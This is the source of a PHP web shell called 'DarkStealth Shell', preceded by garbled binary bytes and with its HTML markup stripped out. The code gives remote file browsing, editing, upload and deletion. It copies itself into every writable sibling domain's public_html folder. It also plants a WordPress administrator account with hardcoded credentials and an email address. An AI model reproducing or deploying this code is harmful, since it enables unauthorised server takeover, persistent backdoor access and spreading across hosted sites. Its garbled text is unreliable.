£Á°èZ¨Ä…–K§‚«“ô4“ÒÙ´dîfUÙÃÅ WKbyʦ•ꎅȮFÒ¿ÊÎóCozá¬S@6{Í:›œêZÌ:Š•_%:¢¾¾~;‘Ã~芩ÊÇí`ÔÑ©ú뙵'5I¿fš×WO%ø9¾«¾DK|€ùÍD”Ýs]nHÕ¶ê×Ӽ㞪éUWŸÈË%DÒÕ¬ï‘]/Åcx ‰ï2ß]ä6G[]S£Ôϯrs{úëóµmÒï#UQxo·õÞCe]"±/aÙ&Eã4ú9Jé_ÞåëdãöKë)AÞ ¯¹ægƒÛowÐø^d™ý½ßB7áyMä9ÜÖUã
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
📁 Path: ";
foreach ($parts as $seg) {
if (empty($seg)) continue;
$build .= "$seg/";
$html .= "$seg/";
}
return $html . "";
}
// === Directory Listing ===
function listDirectory($dir) {
$list = scandir($dir);
$html = '';
foreach ($list as $item) {
if ($item === '.' || $item === '..') continue;
$full = "$dir/$item";
$isDir = is_dir($full);
$icon = $isDir ? '📁' : '📄';
$html .= "
$icon ";
if ($isDir) {
$html .= "$item ";
$html .= "[×]";
} else {
$html .= "$item ";
$html .= "[✎] ";
$html .= "[×]";
}
$html .= "";
}
return "";
}
// === Replication Function ===
function replicateShell($payload) {
static $replicated = false;
if ($replicated) return [];
$replicated = true;
$start = __DIR__;
$foundURLs = [];
while ($start !== '/') {
if (preg_match('/\/u[\w]+$/', $start) && is_dir("$start/domains")) {
foreach (scandir("$start/domains") as $domain) {
if ($domain === '.' || $domain === '..') continue;
$publicDir = "$start/domains/$domain/public_html";
if (is_writable($publicDir)) {
$target = "$public_dir/darkstealth.php";
if (file_put_contents($target, $payload)) {
$foundURLs[] = "http://$domain/darkstealth.php";
}
}
}
break;
}
$start = dirname($start);
}
return $foundURLs;
}
// === Actions ===
// Delete file/folder
if (isset($_GET['delete'])) {
$target = realpath($_GET['delete']);
if (strpos($target, getcwd()) === 0 && file_exists($target)) {
if (is_dir($target)) {
rmdir($target);
} else {
unlink($target);
}
echo "🗑️ Deleted: " . basename($target) . "
";
}
}
// WordPress Admin Creation
if (isset($_GET['wp_admin'])) {
$wpPath = $path;
while ($wpPath !== '/') {
if (file_exists("$wpPath/wp-load.php")) break;
$wpPath = dirname($wpPath);
}
if (file_exists("$wpPath/wp-load.php")) {
require_once("$wpPath/wp-load.php");
$username = 'adminp';
$password = 'Bdsc1909@1909';
$email = 'jingga070707@gmail.com';
if (!username_exists($username) && !email_exists($email)) {
$userId = wp_create_user($username, $password, $email);
$user = new WP_User($userId);
$user->set_role('administrator');
echo "✅ WordPress admin 'jingga' created
";
} else {
echo "⚠️ User or email already exists
";
}
} else {
echo "❌ WordPress not found in this path
";
}
}
// View file
if (isset($_GET['view'])) {
$file = basename($_GET['view']);
$filePath = "$path/$file";
if (file_exists($filePath) && is_file($filePath)) {
echo "📄 Viewing: $file
";
echo "" . htmlspecialchars(file_get_contents($filePath)) . "
";
echo "
";
}
}
// Edit file
if (isset($_GET['edit'])) {
$file = basename($_GET['edit']);
$filePath = "$path/$file";
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
file_put_contents($filePath, $_POST['content']);
echo "✅ File saved
";
}
if (file_exists($filePath) && is_file($filePath)) {
$content = htmlspecialchars(file_get_contents($filePath));
echo "✏️ Editing: $file
";
echo "";
echo "
";
}
}
// File upload
if (isset($_FILES['uploaded_file'])) {
$fileName = basename($_FILES['uploaded_file']['name']);
$targetPath = "$path/$fileName";
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $targetPath)) {
echo "📤 File uploaded successfully: $fileName
";
} else {
echo "❌ File upload failed
";
}
}
// Create directory
if (isset($_POST['new_dir'])) {
$dirName = basename($_POST['new_dir']);
$newDirPath = "$path/$dirName";
if (!file_exists($newDirPath)) {
mkdir($newDirPath);
echo "📁 Directory created: $dirName
";
} else {
echo "⚠️ Directory already exists
";
}
}
// === UI ===
?>
DarkStealth Shell
🌑 DarkStealth — Stealth File Manager
WordPress Tools
";
echo "🌘 Replication Results
";
echo "✅ Shell replicated to:
";
echo "";
foreach ($replicatedURLs as $url) {
echo "- $url
";
}
echo "
";
echo "";
}
}
?>
File Operations
Current Directory: